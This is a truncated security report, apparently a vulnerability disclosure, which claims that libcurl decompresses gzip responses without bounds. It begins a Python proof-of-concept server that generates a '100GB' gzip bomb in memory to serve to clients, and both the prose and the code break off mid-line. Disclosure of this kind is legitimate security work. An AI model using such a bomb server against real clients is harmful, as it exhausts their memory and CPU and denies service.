Unbounded GZIP Decompression Leading to Event-Loop Starvation

When libcurl is configured to decompress HTTP responses (via `CURLOPT_ACCEPT_ENCODING` or the `--compressed` CLI flag), it lacks decompression bounds checking or a mechanism to yield execution during massive expansion tasks. If an attacker provides a highly compressed payload (zip bomb), libcurl's …

#!/usr/bin/env python3
import gzip
import io
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

print("[*] Generating 100GB decompression bomb...")

# Generate a highly compressed 100GB payload in memory
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb', …